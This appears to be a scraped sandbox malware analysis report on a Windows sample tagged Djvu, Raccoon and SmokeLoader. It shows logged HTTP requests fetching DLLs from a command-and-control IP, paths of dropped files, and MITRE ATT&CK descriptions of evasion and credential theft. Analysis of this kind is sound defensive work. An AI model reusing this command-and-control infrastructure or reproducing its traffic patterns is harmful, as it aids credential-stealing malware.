Source: global traffic	HTTP traffic detected: GET /aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll HTTP/1.1Content-Type: text/plain;User-Agent: TakeMyPainBackHost: 193.38.55.180Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll HTTP/1.1Content-Type: text/plain;User-Agent: TakeMyPainBackHost: 193.38.55.180Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll HTTP/1.1Content-Type: text/plain;User-Agent: TakeMyPainBackHost: 193.38.55.180Connection: Keep-AliveCache-Control: no-cache

Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704

Source: unknown	TCP traffic detected without corresponding DNS query: 193.38.55.180
Source: unknown	TCP traffic detected without corresponding DNS query: 193.38.55.180
Source: unknown	TCP traffic detected without corresponding DNS query: 193.38.55.180
Source: unknown	TCP traffic detected without corresponding DNS query: 193.38.55.180
Source: unknown	TCP traffic detected without corresponding DNS query: 193.38.55.180
Source: unknown	TCP traffic detected without corresponding DNS query: 193.38.55.180
Source: unknown	TCP traffic detected without corresponding DNS query: 193.38.55.180
Source: unknown	TCP traffic detected without corresponding DNS query: 193.38.55.180
Source: unknown	TCP traffic detected without corresponding DNS query: 193.38.55.180
Source: unknown	TCP traffic detected without corresponding DNS query: 193.38.55.180
Source: unknown	TCP traffic detected without corresponding DNS query: 193.38.55.180
Source: unknown	TCP traffic detected without corresponding DNS query: 193.38.55.180
Source: unknown	TCP traffic detected without corresponding DNS query: 193.38.55.180
Source: unknown	TCP traffic detected without corresponding DNS query: 193.38.55.180
Source: unknown	TCP traffic detected without corresponding DNS query: 193.38.55.180
Source: unknown	TCP traffic detected without corresponding DNS query: 193.38.55.180
Source: unknown	TCP traffic detected without corresponding DNS query: 193.38.55.180
Source: unknown	TCP traffic detected without corresponding DNS query: 193.38.55.180
Source: unknown	TCP traffic detected without corresponding DNS query: 193.38.55.180
Source: unknown	TCP traffic detected without corresponding DNS query: 193.38.55.180
Source: unknown	TCP traffic detected without corresponding DNS query: 193.38.55.180
Source: unknown	TCP traffic detected without corresponding DNS query: 193.38.55.180
Source: unknown	TCP traffic detected without corresponding DNS query: 193.38.55.180
Source: unknown	TCP traffic detected without corresponding DNS query: 193.38.55.180
Source: unknown	TCP traffic detected without corresponding DNS query: 193.38.55.180
Source: unknown	TCP traffic detected without corresponding DNS query: 193.38.55.180
Source: unknown	TCP traffic detected without corresponding DNS query: 193.38.55.180
Source: unknown	TCP traffic detected without corresponding DNS query: 193.38.55.180
Source: unknown	TCP traffic detected without corresponding DNS query: 193.38.55.180
Source: unknown	TCP traffic detected without corresponding DNS query: 193.38.55.180
Source: unknown	TCP traffic detected without corresponding DNS query: 193.38.55.180
Source: unknown	TCP traffic detected without corresponding DNS query: 193.38.55.180
Source: unknown	TCP traffic detected without corresponding DNS query: 193.38.55.180
Source: unknown	TCP traffic detected without corresponding DNS query: 193.38.55.180
Source: unknown	TCP traffic detected without corresponding DNS query: 193.38.55.180
Source: unknown	TCP traffic detected without corresponding DNS query: 193.38.55.180
Source: unknown	TCP traffic detected without corresponding DNS query: 193.38.55.180
Source: unknown	TCP traffic detected without corresponding DNS query: 193.38.55.180
Source: unknown	TCP traffic detected without corresponding DNS query: 193.38.55.180
Source: unknown	TCP traffic detected without corresponding DNS query: 193.38.55.180
Source: unknown	TCP traffic detected without corresponding DNS query: 193.38.55.180
Source: unknown	TCP traffic detected without corresponding DNS query: 193.38.55.180
Source: unknown	TCP traffic detected without corresponding DNS query: 193.38.55.180
Source: unknown	TCP traffic detected without corresponding DNS query: 193.38.55.180
Source: unknown	TCP traffic detected without corresponding DNS query: 193.38.55.180
Source: unknown	TCP traffic detected without corresponding DNS query: 193.38.55.180
Source: unknown	TCP traffic detected without corresponding DNS query: 193.38.55.180
Source: unknown	TCP traffic detected without corresponding DNS query: 193.38.55.180
Source: unknown	TCP traffic detected without corresponding DNS query: 193.38.55.180
Source: unknown	TCP traffic detected without corresponding DNS query: 193.38.55.180

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Regsvr32.exe to proxy execution of malicious code. Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. Regsvr32.exe is also a Microsoft signed binary.
Tactics:	Defense Evasion
Data Sources:	Loaded DLLs, Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Djvu

Threatname: Raccoon

Threatname: SmokeLoader

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\LocalLow\22wTvv5mR62E

C:\Users\user\AppData\LocalLow\GOpRcXXjoWmm

C:\Users\user\AppData\LocalLow\Zsrw9A4N7Zio

C:\Users\user\AppData\LocalLow\freebl3.dll

C:\Users\user\AppData\LocalLow\mozglue.dll

C:\Users\user\AppData\LocalLow\msvcp140.dll

C:\Users\user\AppData\LocalLow\nss3.dll

C:\Users\user\AppData\LocalLow\rE5287BD83io

C:\Users\user\AppData\LocalLow\softokn3.dll

C:\Users\user\AppData\LocalLow\sqlite3.dll

C:\Users\user\AppData\LocalLow\vcruntime140.dll

C:\Users\user\AppData\LocalLow\zpW7O7U8iJFQ

Windows Analysis Report
file.exe

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	API monitoring, File monitoring, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre